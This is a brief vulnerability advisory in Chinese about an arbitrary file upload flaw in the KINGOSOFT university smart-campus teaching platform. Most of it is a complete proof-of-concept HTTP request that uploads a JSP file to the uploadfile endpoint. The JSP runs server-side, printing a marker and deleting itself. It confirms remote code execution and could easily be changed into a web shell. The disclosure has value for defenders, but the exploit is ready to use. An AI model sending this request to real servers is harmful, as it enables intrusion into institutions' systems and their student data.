KINGOSOFT高校智慧校园教学综合服务平台 uploadfile 任意文件上传漏洞

日期: 2025-10-17 | 影响软件: 高校智慧校园教学综合服务平台 | POC: 已公开

漏洞描述

KINGOSOFT高校智慧校园教学综合服务平台 uploadfile 任意文件上传漏洞

PoC代码

POST /kyfw/frame/sbxm.sbxm.uploadfile.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 321
Content-Type: multipart/form-data; boundary=e95c51e127eb198c34bb6d95dbc26f30

--e95c51e127eb198c34bb6d95dbc26f30
Content-Disposition: form-data; name="file"; filename="2147e4b8f9.jsp"
Content-Type: application/octet-stream

<% out.println("6fc7d58f94ab46376a24ac1203a9d10c");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
--e95c51e127eb198c34bb6d95dbc26f30--

相关漏洞推荐